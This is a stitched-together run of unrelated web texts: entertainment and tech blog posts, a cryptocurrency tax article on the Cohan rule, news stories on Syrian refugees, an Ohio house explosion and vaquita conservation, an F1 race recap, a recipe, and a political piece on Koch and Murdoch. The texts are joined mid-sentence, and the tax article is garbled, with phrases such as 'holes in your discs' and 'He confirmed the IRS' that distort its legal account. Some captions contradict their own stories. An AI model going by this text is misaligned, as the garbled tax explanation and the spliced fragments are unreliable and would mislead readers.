And yet, this follow-the-money strategy, which has already yielded hundreds of millions of dollars for the Justice Department, could pay off big.I can hardly believe that we’re only two weeks away from Dark Matter’s double episode premiere. It doesn’t feel that long ago that we were in the writers’ room, fruitlessly spinning our wheels in an attempt to gain creative traction on stories for the show’s third season. Not that long ago that I sat down to write episode 304 (“All The Time In the World”) armed with nothing but a vague notion of a story – and a very definite deadline. No, not that long ago at all that I received news that forced me scuttle a planned story and come up with a totally crazy script for episode 309 (“Isn’t That A Paradox?”). And yet, here we are!
So, what lies ahead for our crew of badass mercenaries? Well, this –
And that –
Oh. And that –
But you’ll all know soon enough.
Dark Matter’s baddest bad boy, Alex Mallari Jr. (and his buddy, Bo), make HuffPost’s list of –
23 Crazy-Fine Asian Dudes Who Don’t Conform To Western Standards Of Hotness
Hey! Got a question for Dark Matter’s Anthony Lemke and/or Melissa O’Neil? Head on over to the SpaceChannel twitter feed and post them.
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These stunning images literally took my breath away.
In fact, I stopped breathing for a moment. Were my eyes playing tricks on me? What was I seeing? Why are the huskies walking on water?
And as I looked on, my mouth was left wide open with awe which made me ask how did the photographer in question actually do this?
Look and decide for yourself.
1. The husky is walking on top of a frozen lake which has just started to thaw and hence there is a layer of water above the ice. It looks like the husky is walking on water!
2. The husky is just in the moment right now. I would be as well… just that maybe I will be cold as hell.
3. The lake is like a mirror as the husky walks on it.
4. Wow again…
5. A really handsome boy with a great looking back drop.
6. This may be my all time favorite photograph.
7. What a nice side profile!
8. Are you thinking what I am thinking here?
9. Husky & his friend!
10. Nice sky as scenery…
11. Where do you go from here?
12. Just beautiful…
13. He can probably see his own image in the water. He recognizes it!
14. Husky just messing around!
Need we say more? These images are stunning. You might want to head on over to http://www.fubiz.net/2015/03/12/siberian-husky-on-a-frozen-lake/ to check out more of the photographers work!
Comments
commentsBlog Expert is the new series of Cointelegraph articles by leaders from the crypto industry. It covers everything from Blockchain technology and cryptocurrencies to ICO regulation and investment analysis. If you want to become our guest author and be published on Cointelegraph, please send us an email at mike@cointelegraph.com
Cryptocurrency can Being a new topic for the IRS and taxpayers to tackle it but tax records are certainly not a new problem. Since the dawn of the income tax, some taxpayers have struggled with this, and the IRS knows it. At tax hour, many taxpayers find themselves looking for receipts, looking in filing cabinets and drawers.
These days, most documents are in computer files and with online services.. In fact, with a large number of people who are increasingly relying on cloud services and other types of similar documents, the problem of today's documents can be more serious than ever before. It was there decades ago. There is a lot of talk today about residential school investigations, enforcement and audits.
Still, our income tax system is largely focused on self-assessment. We mainly do our own reports, starting with self-reporting on our own tax returns. It's where everything starts, and for self-declaration, you need records. In addition, you must be able to save what you put on your tax return if you are asked.
Remember, you sign tax returns under penalty of perjury. Do not dial numbers and do not estimate, except as a last resort. In general, receipts and tax evidences are critical. In fact, the Internal Revenue Code and the Treasury Regulations are full of justification requirements. Receipts, invoices and canceled checks matter a lot.
If you are the subject of an audit and you have to account for any capital gain, especially in the long run, when the tax rate is reduced, you may need to be present documents to prove your position. You must be able to prove any tax base you claim.
Keeping a Register
It is your responsibility to keep the documentation and to carry out the archiving. What happens if an exchange you use suddenly stops working and disappears? You might suddenly not be able to get your records. This could mean not being able to establish your base or your waiting period.
This is one of the reasons why you need a backup system. However, you can keep it straight, try to keep good records of all your trading and investing activities. This is true with cryptocurrency or any other investment asset.
Downloading and exporting transaction details or copying all of this works however for you. Since purchases made with cryptocurrency are provisions, keep a record of the dates, amounts and details of these provisions too. What happens though if there are holes in your discs?
But otherwise..
It is not known if the IRS will apply different standards to cryptocurrency disks. However, the justification requirements are likely to be similar in this context to others. Fortunately, there are positive historical cases in which taxpayers have won tax cases even if their records were downright lousy.
That is to say, sometimes, the absence of a receipt can not prevent you from claiming a deduction. in court if you find yourself in a fight with the IRS. In fact, if you can not find your documents or receipts, it is useful to remember the so-called Cohan rule. This tax rule originated in the Cohan v. Commissioner, 39 F.2d 540 (2d Cir., 1930).
George M. Cohan was a Broadway pioneer, author of hits such as "Give My Regards to Broadway" and "Yankee Doodle Boy". Cohan had a big appetite, and he was spending a lot of money. His statue is still in Times Square in New York. But the IRS refused Cohan's many travel and entertainment expenses because of lack of revenue
You see, Cohan often paid money, and he sometimes took dozens of people for dinner. The IRS required receipts for proof, and Cohan did not like being actually called a liar. He did not like losing tax deductions either. Thus, he took the IRS to the Tax Appeals Board, the forerunner of the US Tax Court.
He confirmed the IRS, the receipts being the stock in the trade of a tax system. However, Cohan will not give up and will appeal to the second circuit court of appeal. There, the IRS thought that it had a solid case, advocating for rigidity in tax records. However, the second circuit shook the IRS on its heels by announcing what would become known as Cohan's rule.
To date, it serves as an exception to the stringent requirements of the IRS document retention. It allows taxpayers to prove by "other credible evidence" that they have actually incurred the expenses for deductible purposes. This means that the testimony may be sufficient even if you do not have receipts.
Cohan rule
Will the Cohan Rule help and IRS already suspect when it comes to Bitcoin or other digital currency? It's hard to say, but it would be a big mistake to think that you do not need receipts. You should never consider the Cohan Rule as a release card from prison with respect to taxes or tax records.
In fact, the IRS is still lukewarm on this rule nearly 90 years after the case was decided. The IRS does not like it, and the Cohan rule does not always work in court. Cohan's rule was applied conventionally to travel and entertainment expenses
However, it could apply to virtually any article not specifically subject to increased justification requirements. under the Tax Code or Treasury Regulations. There are special rules of justification for certain travel and meal expenses, private cars, computers and cell phones. In these cases, the Cohan Rule can not apply.
The Cohan Rule does not permit a complete lack of justification. On the contrary, it allows another form of justification. If you can convince the IRS by oral or written statements or other evidence to support and can give a reasonable approximation of the expense, you may be entitled to the deduction despite your lack of documentation.
The Tax Court applied the Cohan rule to deduct expenses such as tuition fees, beauty license fees, gambling losses, eligible research activities, construction and distribution of other expenses signs. However, travel and entertainment costs may be the most classic. Even charitable contributions have sometimes been allowed under the Cohan rule.
However, you can not use the Cohan Rule when there are strict strict justification requirements, as there are for some charitable contributions. These rules require that you have a receipt, even for small cash donations, including $ 20 put in the collection plate on Sundays and, for donations over $ 250, a written acknowledgment from the charity's organization. before filing your tax return.Wow – Google just dropped the price of both Nexus 4 variants by $100.
The powerful and affordable smartphone from Google — now at an even lower price. Was $349, get it now for just $249!
Update #1: This price drop is live in Australia, Canada, Germany, Spain, Korea, the U.S., and the UK.
We've lowered the price of #Nexus4. Get it for 25% off or more in Australia, Canada, Germany, Spain, Korea, US, UK: http://t.co/g8vIKtBC9N — Google Play (@GooglePlay) August 28, 2013
Update #2: And now in France.
Great news! We've also lowered the price of #Nexus4 in France. Get one for €199: http://t.co/ZCXm6gayM8 — Google Play (@GooglePlay) August 28, 2013
At this price, it's almost impossible to pass one up – get one for your mom, your dad, as a backup phone... whatever. Many on-contract phones aren't even this affordable! Head below to grab one.
Google PlayBecause I’m an especially broad-minded mood this morning, and because I haven’t been able to get my butt in gear to finish any of the other blog pieces I’ve been writing the past few weeks, I decided to come up with a list of what I consider to be humanity’s biggest moral challenges going into the 21st century.
What do I mean by moral challenges? Well, defining morality is a sticky business even if you’re a full-time philosopher, which I’m not, or a believer in God, which I’m also not. The definition I’m favoring these days goes something like this: morality means making decisions that benefit the most number of people in the long run, and by extension the human race as a whole.
So what, in my opinion, are the greatest moral quandaries currently facing the species? Thinking from the long view, and trying not to get bogged down in short-term issues (e.g. the Iraq War), I’d argue that they are these five:
1. We need a sustainable way to live on the planet. As I’ve written before on my post about Global Warming Skepticism, I don’t particularly care about the Earth, except inasmuch as we can’t live without it. Right now, letting the Earth die means letting us die. So it’s imperative for the species’ survival that we either a) learn to conserve the planet’s natural resources, b) figure out how to keep the species going using renewable resources, or c) invest heavily in survivalism science that will let us live without them. (Or, more likely, a combination of a, b, and c.) Personally, I’d be happy living in a funky sci-fi dome city, but making something like that sustainable is much harder than it looks. Ergo: investing heavily in alternative energy is a moral imperative.
2. We need to divorce morality from religion. I don’t think anything good comes from the belief that we should refrain from murder, theft, and rape because someone wrote it down in a book five thousand years ago. Those of us who don’t believe in an all-powerful Being In The Clouds are just as capable of defining principles of morality and sticking to them — in fact, I’d argue that we’re more capable. If you want to continue to believe in God, great; but we can agree on moral principles regardless without the intervention of priests, pastors, rabbis, popes, ayatollahs, imams, or prophets. What I’m saying is that the species needs to be able to think moralistically in a way that’s inclusive of both religious and non-religious people.
3. We need to figure out how to balance personal freedom with equitable division of wealth. Westerners are inclined to see the political landscape as a spectrum between hard-core loony socialism (all the world’s wealth should be divided equally among its population, regardless of merit) and equally loony hard-core capitalism (everyone go grab your share of the pie, and if that results in radically uneven distribution of wealth, so be it). In Infoquake and MultiReal, I called these two poles governmentalism and libertarianism. Somewhere in the middle, theoretically, is a society where nobody’s starving and everyone can afford basic medical care, yet we still have ample freedom to make our own individual choices without governments taxing us to death. We’ve got to find that place, and figure out how to sustain it long-term.
4. We need to take the nuclear option out of the picture. Once upon a time, two countries were idiotic enough to play a high-stakes game of chess where the stakes were the survival of the human race. You don’t like my way of governing? Fine, then let’s blow the whole place to hell and you can’t govern any of it. Figuring out how to get rid of these weapons so that nobody has the power to scour the planet clean is one heck of a challenge. There’s no Cold War anymore, but the odds of a nuclear war breaking out in either the Middle East or the Indian subcontinent are still much too high for us to ignore. (Personally, I don’t think the threat is going anywhere until some theoretical point in the future when we’re living so much of our lives virtually that physical threats just don’t make sense anymore.)
5. We need to get serious about global human rights. The United States pays a lot of lip service to the idea of global human rights — and compared to much of the rest of the world, we’re willing to do something about it more of the time — but too often we back down from the ideals of democracy when it suits us. The way we’ve helped Israel shunt aside the results of free, democratic elections in Palestine is shameful, and the way we turn a blind eye to similar human rights abuses in our allies like Egypt and Saudi Arabia is equally ludicrous. But compared to much of the rest of the world, we’re light-years ahead. We’ve ditched slavery, worked hard to put all races on an equal footing, and we’re in the long, slow process of recognizing alternative sexual orientations. Until the whole planet works the same way, we’re going to have a hard time moving forward as a species.
Okay, so these are my five long-term moral challenges for the species. What did I miss?
Update 1/16/08: Some interesting commentary on this article by S. M. Duke here, here, and here.A Christian brother and sister from Syria say they have been 'let down' by the Pope after he left them behind in a Lesbos refugee camp despite promises they would be given a new life in Italy.
Roula and Malek Abo say they were two of the lucky 'chosen 12' refugees selected by the Vatican to be taken from the desperate camp and housed in Rome.
But what seemed like the chance of a lifetime was cruelly snatched away when they were told the following day they couldn't go. Instead three Muslim families were taken.
Roula, 22, and her brother arrived on Lesbos on April 1 – ten days after the controversial EU deal to return all asylum seekers arriving to Greece from Turkey.
Their application for asylum is being process and they are waiting to learn if they will be sent back to Turkey.
Stuck on Lesbos, Roula told MailOnline: 'If they can do this for 12 people they can do it for more.
'If you have promised to take people back to Italy will something like registration papers stand in your way?'
Future: Roula, a Christian Syrian, and her brother were they had been selected to go to Rome with the Pope but were let down the following day and are now stuck on Lesbos
Dreams dashed: The siblings, who fled Qamishli, Syria, were not among the chosen 12, because they arrived on Lesbos ten days after the controversial EU deal to return failed asylum seekers to Greece from Turkey
Neither Community Sant'Egidio, the charity which organised the trip, or the Vatican would explain the selection process over which migrants were picked.
Spokesman Massimiliano Signifredi called the incident'regrettable' - adding: 'The problem here is the three Syrians arrived after the March 20 deadline. They arrived just after the agreement between the European Union and Turkey.
Mr Signifredi said: 'Our staff went to Lesbos and spoke with the people who were selected. But everything was decided by the Vatican.
'The question why the Pope took only Muslims is difficult to understand and he was suffering, I think, because he wanted to do something also for Christians as the chief of the Catholic Church. But he couldn't because there is this international agreement [with the EU].'
The Vatican declined to comment.
Still reeling over her dream being so cruelly dashed, Roula had to watch the three fortunate families board a plane for a new life in Europe while she and her brother were left behind to face an uncertain future in Greece.
Pope Francis, the son of Italian immigrants to Argentina, said the decision to take a dozen to Italy was a gesture of goodwill to set an example to the world to extend the hand of friendship during Europe's migrant crisis.
They are being housed in Rome by Sant'Egidio, which has brought 250 Syrians to Italy since March.
Roula, her brother, 28, and a third man, their friend Samir, also 28, from Damascus, say a day or so before the Pope arrived they were approached by three volunteers believed to be from Sant'Egidio.
She explained: 'They said they would take us to Italy, to pack our bags and to meet them the next day.
Leading by example: The Pope took a total of 12 people back from Lesbos to Greece with him. The leader of the Catholic Church has been vocal over his disapproval of how Europe has handled the refugee crisis
Suspicion: Roula, pictured with Malek and friend Amir, admits she was relieved in one way, as she feared the three who approached her could have been organ traffickers
Devastated: But Samir Hanna, a 28-year-old refugee from Damascus, had no such fears, and was left crushed when he was left behind in the camp, called Kara Tepe Square
'It was so secretive – they didn't announce it to anybody and we were told to keep it a secret.
'It seemed so unofficial – we didn't know who they were or if they would really take us,' Roula added.
'I thought they might be organ traffickers – we had no idea.'
Samir had no such doubts when he was approached, however.
'I was so excited to go to Italy - it was such a relief,' he said. 'They offered me my future on a plate, and then 24 hours later they took it away.
'They had even told me that after a few months I could be reunited with my family and they would arrange for them to come from Damascus and join me in Italy.'
But the next day they received the crushing news that their places were given to another family.
The reason they were given was because they had arrived in Greece after the March 20 deadline for the EU deal.
The Pope told reporters on the plane back from Lesbos that it had been the idea of one of his aides and that he had immediately agreed.
'I felt the spirit was talking to us,' he said, adding that 'everything was done according to the rules', with documents provided by Italy, the Vatican and Greece.
Asked why they were all Muslim, he said there was something wrong with the papers of a Christian family that had originally been on the list.
All 12 migrants from three families have spoken of their delight at being set up in their own flats in Rome capital and given Italian lessons.
'It was an amazing feeling [to be leaving the camp in Lesbos] because this was our big dream,' said Hasan, a 31-year-old a garden designer who fled after the Syrian regime tried to make him join the army. He is now in Rome with his son Riad, two, and wife, Nour.
'When we came here to Sant'Egidio everyone has been very helpful and kind. Now we have our own room [apartment] which is just for us.
'We have been treated very, very well. We really feel now at last we are safe.'
Arrivals: The lucky families that were chosen to go with the Pope - Nour and Suhila were among the three families from Syria who did get to Italy
New homes: The families all have new lives in Italy while Roula and her brother are 1,200 miles away back in Lesbos facing an uncertain future
But 1,200 miles away in the sweltering makeshift camp with the rats, snakes and rubbish of those who remain faced with the prospect of being returned to Turkey is Samir.
'I was very disappointed,' he said.
The siblings are trying to stay positive as they want to travel to Germany where their mother is living. But they are at a loss to explain why Sant Edigio volunteers appeared to 'play god' and got their hopes up only to let them down.
'We're happy for the families that went of course,' said Roula, who is hoping the charity stands by its promise to fast-track their applications and come back for them, but it is no guarantee.
She went on: 'We don't care for one country over another – I just want to be with my mum.'
Roula and Malek left Qamishli, which is in Syria near the Turkish border, in March, in fear for their lives.
'They killed the Christians in Raqqa we heard, so of course we had to leave,' Roula said.
Malek added: 'We stayed as long as possible, because it's not easy to get the money to leave Syria. It takes you 50 years to buy a house so you don't decide to leave it in a minute.
'We were clinging to the hope that it will get better. We know that as soon as we leave the house people will come and take our stuff. We know we can't go back.
Residents: Kara Tepe is the preferred camp for those trapped on Lesbos. Currently there are 900 people living here, who have all been termed 'vulnerable', and have their applications on hold
Waiting: Despite it being the better option, the atmosphere in the camp is still tense
Escape: All three families selected by the charity were taken from Kara Tepe camp to meet the Pope in Mytilene before jetting off to their new lives in Rome. Pictured: : A Syrian mother with her three children
'We wanted to finish university – I studied law and Roula was studying to be a primary school teacher.'
The pair had hoped finishing their education would give them a better chance to start a new life in Europe, but Roula had to abandon her studies to flee.
Samir left Syria for Turkey late last year, just before Christmas, after he escaped being forced to join President Assad's army fighting a war he doesn't believe in and do his military service.
'They force you to sign up and they make you kill people – if you don't, they kill you. I had to leave,' he told MailOnline.
Like many Syrians, he first tried to make a new life for himself in Turkey, despite having to wait for months on the Turkish-Syrian border, as Turkey has abandoned its open door policy to allow refugees fleeing the violence to safety.
'I was in Istanbul for three months trying to find work. I tried so hard, but it was impossible. People look down on you there – they don't want to hire Syrians,' he said.
So he joined the thousands of his desperate countrymen and the now standard fee of €2,000 to cross to Lesbos on a rubber dinghy.
In Kara Tepe, the camp named in Turkish because |
, the season proved to be the most exciting of the new century. McLaren’s Kimi Raikkonen and Williams’s Juan Pablo Montoya took the fight to Schumacher all season, but as they entered Japan for the final round, it would be between the Finn Raikkonen, only in his third season of Formula 1, and Schumacher, aiming to break Juan Manuel Fangio’s record of five World Championships. Going into the race weekend of the 2003 Japanese Grand Prix, Schumacher led by nine points over Raikkonen, meaning only a win and an unusually low finish for Schumacher would give the Finn the title.
Qualifying was a spectacle in itself, virtually guaranteeing entertainment in the race, with Raikkonen only 8th and Schumacher a lowly 14th, leaving their respective team-mates, Rubens Barrichello (pole position) and David Coulthard (7th), with the tasks of helping their team-mates in the race. The championship still looked unlikely for Raikkonen, but with Schumacher in the middle of the pack and more likely to encounter danger, the race, and the championship, was more wide open than expected.
At the start, everyone made it through the often chaotic turn one safely. By the end of the lap, Williams’s Juan Pablo Montoya, whose title hopes ended in the previous race in America, muscled his way past Barrichello and into the lead. Schumacher was carving his way through the field, but after a risky attempt to pass Takuma Sato – in his first race for BAR after the termination of Jacques Villeneuve’s contract – he lost his front wing and duly pitted for a new one, undoing all the work he had done. At the front, Montoya’s lead did not last, retiring on lap nine with hydraulic failure. Raikkonen made steady progress and looked comfortable, despite being stuck behind the high-qualifying Toyota of Cristiano Da Matta in his first stint of the race.
At the front, it seemed that it was set-up to be a race between Barrichello and Renault’s Fernando Alonso, before engine failure ended the Spaniard’s race on lap 17. Raikkonen was put on a two-stop strategy in an attempt to gain advantage over Barrichello, but the plan didn’t work, with the Finn unable to keep up with the pace of the Brazilian, who then began to streak ahead of the rest of the pack into a comfortable lead.
Schumacher, now making his way through the field for a second time, found himself racing for position with the Williams of his brother Ralf, who also endured a chaotic and incident-filled race. After getting ahead of his younger brother in the pit-stops, Ralf attempted a pass at turn one a lap later, with big brother closing the door on him. The battle was short-lived, as Ralf spun at the final corner for the second time in the race, narrowly avoiding Michael as they battled for position with Da Matta’s Toyota. With Barrichello maintaining a comfortable cushion over the McLarens of Raikkonen and Coulthard, Schumacher sensibly abandoned hopes of overtaking Da Matta for 7th place. Barrichello took his third win of the season, once again proving his speed and intelligence as a driver, yet simultaneously, and not for the first time, doing a stellar job as Ferrari’s number two driver and acting as a perfect foil for Schumacher, who eventually took 8th place, ensuring his place in the record books as the most successful Formula 1 driver of all-time. He finished 2 points ahead of Raikkonen in the standings, with Barrichello’s win, coupled with Montoya’s retirement and Ralf Schumacher’s clumsy performance, ensuring Ferrari also took the Constructor’s Championship ahead of Williams by fourteen points.
Thank you for reading. Please take a moment to follow me on Twitter – @jackinho92. Support LWOS by following us on Twitter – @LastWordOnSport and @LWOSworld– and “liking” our Facebook page.
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CLEVELAND -- Investigators examined the burned wreckage of a home Tuesday to determine what caused an explosion and extensive fire that killed a family of four in northeast Ohio.
The bodies of a couple and their two daughters, ages 8 and 12, were found on the first floor of the home in Northfield Center Township, about 20 miles south of downtown Cleveland, township Fire Chief Frank Risko said Tuesday. The Summit County medical examiner hasn't yet released the names of the family members.
The explosion that rocked the neighbourhood was reported around 8:30 p.m. Monday. Risko said he arrived at the scene just minutes after neighbours called 911 and that the house was fully engulfed in flames. Three investigators from the Ohio Fire Marshal's office were combing through the wreckage, Risko said.
The bodies of the mother and her two daughters were found at the front of the house, and the father in the rear of the home.
Northfield Center Township is about 20 miles south of downtown Cleveland.
Neighbor Randy Nickschinski, who lives two doors away, told Cleveland.com that he and his son, Nate, rushed to the house and kicked in the front door, allowing the family's dog to escape. Nickschinski, his son and another neighbour went inside and yelled for the family, but no one answered.
"There was a lot of fire, a lot of debris," Nickschinski said. "We were yelling and nothing. We were just looking everywhere."
Nickschinski's daughter, Danielle, told Cleveland.com she had babysat for the family's two girls.
"They were very outgoing and nice," she said. "They always wanted to play."
County property records show that explosion occurred in a development in which the homes were built in the mid-1990s.We all enjoy Brown Rice with all different types of curries, but today lets try something different and make a healthy salad from our favourite brown rice. The health benefits of Brown Rice continue with its fiber, which has been shown to reduce high cholesterol levels, one more way brown rice helps prevent atherosclerosis. Fiber also helps out by keeping blood sugar levels under control, so brown rice is an excellent grain choice for people with diabetes.
This Brown Rice salad is healthy, delicious and super easy to make. You just need few ingredients that we all have in our pantry. This salad is vegan as well as gluten-free. The core ingredient for this salad is Brown Rice which is a great source of complex carbs. You can prepare this salad which leftover rice as well. Walnut and almonds gives the perfect crunch to the salad and we get some sweetness from the Raisins.
Brown Rice Walnut And Raisin Salad Recipe Servings : 4 Prep : 10 min Cook : 30 min Total : 40 min Print This By: megha Ingredients 1 Cup brown rice
¾ Cup green peas
¼ Cup raisins
¼ Cup walnuts, roughly chopped
¼ Cup sliced almonds
½ Avocado
Dressing
2 cloves garlic, minced
1 Tablespoon liquid sweetener
1 Teaspoon tahini
2 Tablespoons extra-virgin olive oil
2 Tablespoons apple cider vinegar
1 Teaspoon chilli flakes
Salt and pepper to taste Directions Step 1 Cook the brown rice in about two and half cups water, or according to package directions. Also add green peas along with brown rice.
Cook the brown rice in about two and half cups water, or according to package directions. Also add green peas along with brown rice. Step 2 Once cooked, let the rice come to room temperature.
Once cooked, let the rice come to room temperature. Step 3 While the rice is cooling, whisk together the ingredients for the dressing. Stir the dressing into the rice mix until all the ingredients are coated.
While the rice is cooling, whisk together the ingredients for the dressing. Stir the dressing into the rice mix until all the ingredients are coated. Step 4 Top the rice with raisins, almonds, walnuts and avocado.Gillnetting around the world is ensnaring hundreds of thousands of small cetaceans every year, threatening several species of dolphins and porpoises with extinction, according to research presented at the Society of Marine Mammalogy's 21st biennial conference in San Francisco this week.
But there is one bright spot in the Gulf of California, where Mexican authorities earlier this year instituted an emergency two-year ban on gillnetting to help save the critically endangered vaquita, now the rarest marine mammal species on the planet. Fewer than 100 vaquita remain, scientists speaking at the conference said.
On Monday the Society of Marine Mammalogy will recognize Mexican officials including President Enrique Peña Nieto, Secretary of Environment and Natural Resources, Rafael Pacchiano, top Mexican biologists, economists and fishermen with its first-ever Conservation Merit Prize. The prize will recognize the recipients for their determination to save the vaquita and help local fishermen transition to fishing gear friendly to the small porpoise whose entire population lives in the northern Gulf of California, Mexico. Secretary Pacchiano will be present to accept the award on behalf of the Mexican government.
Scientists at the conference said there is a great need for a success story demonstrating that sustainable fishing can coexist with marine mammals, and they hope the vaquita can provide it.
"This is the first large-scale gillnet ban to save a species from extinction, and includes provisions for the development of alternative fishing gear to replace gillnets," said Barbara Taylor, chair of the Society's Conservation Committee, who recently returned from more than two months aboard a research ship surveying the northern Gulf of California for vaquita. "We have great hope that this will be the model that shows the world it is truly possible to bring a species back from the brink of extinction."
The award presentation will provide some of the conference's most hopeful news for marine mammals in peril from threats ranging from climate change to chemical contaminants. Many other threatened species from polar bears to manatees will also be the focus of new studies and research presented at the conference, the largest gathering of marine mammal researchers in the world.
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Other new studies to be reported at the conference include:It's the aww-some moment when a hero dad jumped into a Texas lake to bring a doomed baby deer to safety.
Mississippi real estate developer Corey Smith was on a family vacation at Lake Buchanan in Austin when he witnessed two fawns struggling to keep up with their mother.
Read: 3-Legged Pit Bull Saved From Michael Vick's Dog Fighting Ring Cuddles With Kittens During Special Day Out
“The mother was just swimming off and leaving them. I think she was really tired and may have been disoriented because she was swimming towards open water. They were going to be gone if we didn’t do something," Smith told InsideEdition.com
After deciding he couldn’t just sit and watch the struggle, Smith jumped in and swam out to the deer to bring them back to his boat.
“The baby was trying to swim the best he could, but he couldn’t keep up his head up, he was going under. It was real apparent they weren’t going to make it much longer," Smith said
The father of two calls himself an outdoorsman, and he said he understood the risk he was taking by separating the fawns from their mother.
“It was one of those situations that I knew if you took a baby deer away from his mother it wouldn’t survive, but I also knew I couldn’t let him drown,” Smith told InsideEdition.com
He was able to bring the deer back to shore, but not before snapping a few pictures with the babies on the boat before they were reunited with their mother.
Read: Catabunga! Extreme Kitties Skateboard, Surf, and Dance in YouTube Videos
“Once they got together there on the shore, they stayed there and it was obvious they were weak from swimming. Then after just a few minutes with their mother, they trotted back into the woods,” Smith said.
Smith partially credits being a father to the heroic actions he took that day.
“I’m a father. I’ve got two young children so it was natural instinct to save those babies when I saw them in trouble,” he told InsideEdition.com.
Watch: Dog Once Strung Out on Meth Is Healthy and Gets Adopted By FamilyMy entry for the Share One Planet CG invitational.Here's an odd story of how this image came about- feel free to skip if you're a tl:dr person. I had commented to my other half a few weeks ago that I missed my wildlife art, and I should do some more of it. Couple of weeks later, Dom War V had launched, and I was flailing around in the sea of vagueness that is their current brief (design a god... of anything), looking for inspiration. Browsing twitter in boredom, I came across a tweet that had the list of Spectrum master awards, so I clicked the link and browsed the familiar names on the list. The usual suspects. Except Andrew Jones had a piece called'Share One planet'. Not a piece that sounded like his usual work, so curious, I googled it, and found the website of the same name. A wildlife digital art contest! Cool... thinks I, browsing some of the amazing wip and entries that were posted already. After a while, for no real reason, I wondered randomly if there were any people I knew personally taking part so i could cheer them on. I scour the participants list, recognising a few names, and then randomly see my own name! Quite the surprise, so having emailed them, realising they probably mailed my zephyri.com addy (which is no longer in my control atm), I managed to get my invitation, and what you see here is the final result.If I ever have to paint fur like this again, it'll be too soon. The hi res version is 8000 pixels along it's longest length, and almost every stroke of fur is hand done one at a time! But I'm proud of the end result! Apologies to all those I defied by choosing the other thumbnail for too... I had some great feedback that convinced me my gut instinct was the way to go - to capture that moment where the story could go either way, but just nudging the narrative in the direction of the cat.Done totally in Photoshop. You can find my thread on the site here: [link] And a more detailed wip process can be found on my blog: [link] Longest description evar.In the week-long battle taking place in Wisconsin over Gov. Scott Walker’s attempt to strip state workers of their collective bargaining rights, you’d expect Fox News to be doing what it’s done: misreporting the story, mistakenly characterizing a poll supporting public workers to mean its opposite, featuring Glenn Beck painting the protests of union workers as something cooked up by Stalinists. And you might be tempted to think, well, that’s just Fox playing to its base of frightened Tea Partiers who prefer a fact-free zone to the more challenging territory of actual news, where the answers are never pat, and the world is a bit more complicated than it seems in the realm of Fox Nation.
You might think it’s all about what brings in the advertising dollars for Rupert Murdoch, CEO of Fox’s parent company, News Corporation. But it runs much deeper than that, involving key players at the Wall Street Journal, News Corp.’s crown jewel. The informal partnership between billionaire David Koch, whose campaign dollars and astroturf group, Americans for Prosperity, have fomented the Wisconsin crisis, and billionaire Rupert Murdoch, is profoundly ideological — the ideology being the exponential enrichment of the two men’s heirs, all dressed up in the language of libertarianism and free enterprise. Together with his brother, Charles — also a big donor to right-wing causes –David Koch runs Koch Industries, the conglomerate that sprang from the oil and gas company founded by his father.
King of the World and Lord of His Majesty’s Media
Ginning up the right-wing rabble is a Fox News specialty. Glenn Beck is more than a talk-show host; he’s Rupert Murdoch’s community organizer. Like Koch, Murdoch embraces a completely deregulatory agenda: one that would leave giant corporations such as News Corp., the second largest entertainment company in the world, according to Fortune magazine, with nary a single regulation to stand in the way of profit-taking. Like Koch, Murdoch has no use for unions, having famously broken the unions of the newspapers he runs in the U.K. Like Koch, Murdoch gave $1 million to the Republican Governors Association least year, the only difference being that Koch wrote a personal check for his contribution, while Murdoch’s check was written on a News Corp. account.
In AlterNet’s coverage of the Kochs and Murdoch over the last two years, we reported how Koch’s Americans for Prosperity Foundation synced an annual conference with Glenn Beck’s rally last summer at the Lincoln Memorial, offering discounted hotel rooms and bus travel to attendees, as well as day-long shuttle service between the conference hotel and the rally. Perhaps you remember the collusion we reported between Americans for Prosperity and Fox News in creating the furor that pushed Van Jones from the White House. You may recall our report on a 2009 Americans for Prosperity Foundation conference at which one-third of the speakers on a 15-speaker plenary agenda were on the payroll of a Murdoch entity. Two of those speakers, John Fund and Stephen Moore, hail from the Wall Street Journal; Moore sits on the newspaper’s editorial board. So it should come as no surprise to find both Fund and Moore carrying Koch’s water in this fight.
Together, Fund and Moore play a very particular role in the war to make David Koch king of the world, and Rupert Murdoch his favorite lord. (Murdoch is the lesser of the two billionaires, worth a mere $6 or $7 billion, to Koch’s $20-plus billion.) While Fund and Moore talk to those regular folks who find their thrills watching Fox News, they also speak to the elite readers of WSJ, the investors to whom the two sell the notion that what’s good for David Koch is good for everybody’s bottom line. Writing on the Wall Street Journal Web site last week, Fund offered the standard right-wing rhetoric that paints President Barack Obama in thuggish terms:
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[Obama] accused the new Republican governor, Scott Walker, of launching an "assault" on unions with his emergency legislation aimed at cutting the state budget. The real assault this week was led by Organizing for America, the successor to President’s Obama’s 2008 campaign organization. It helped fill buses of protesters who flooded the state capital of Madison and ran 15 phone banks urging people to call state legislators.
WSJ‘s Fund: No Free Speech For the Little People
Speaking directly to Wall Street Journal readers, Fund laid out his case against organized protests in a video on the paper’s Web site: they tend to inconvenience upper-middle-class people who are just trying to have a nice life. He complained about a protest staged outside Wisconsin Gov. Walker’s Wauwatosa home. "[T]he protesters showed up there, they put up signs, they yelled, and the neighbors were upset because they said, look, this is just a stunt; the governor’s not even here. Go up to Madison; go to the governor’s mansion. So, again, if it were just the people involved, it would be one thing, but there are neighbors and children involved, and I think this goes too far."
Fund told horror stories of a protest staged outside the Washington, D.C., home of House Speaker John Boehner, in response to an $80 million cut to the federal appropriation, another mounted against the developer who is building a Wal-Mart in D.C., and a demonstration in front of the home of a Bank of America executive.
"So these protests, I think, are violating people’s rights," Fund said, "not just engaging in free speech."
When I last saw Fund, he was presenting on a panel at the annual RightOnline conference convened by the Americans for Prosperity Foundation, which is chaired by David Koch, who also founded the organization. There, appearing before an audience of managers and business-owners, Fund got all folksy, telling a tale of how Ronald Reagan, while in the employ of General Electric, saw firsthand the virtue of "educating" workers in a business-friendly view of economics. The session offered tips on how to talk to one’s employees about the Employee Free Choice Act legislation, which would make it easier for workers to organize (panelist Tim Nerenz of the Oldenburg Group said he simply tells his workers, "We don’t run a union facility"), and was moderated by Linda Hansen, a close associate of Mark Block, who was then the state director for the Wisconsin chapter of Americans for Prosperity. Block now runs the potential presidential campaign of Herman Cain, the radio talk-show host and former CEO of Godfather’s Pizza.
WSJ‘s Moore: Created By Koch, Employed By Murdoch
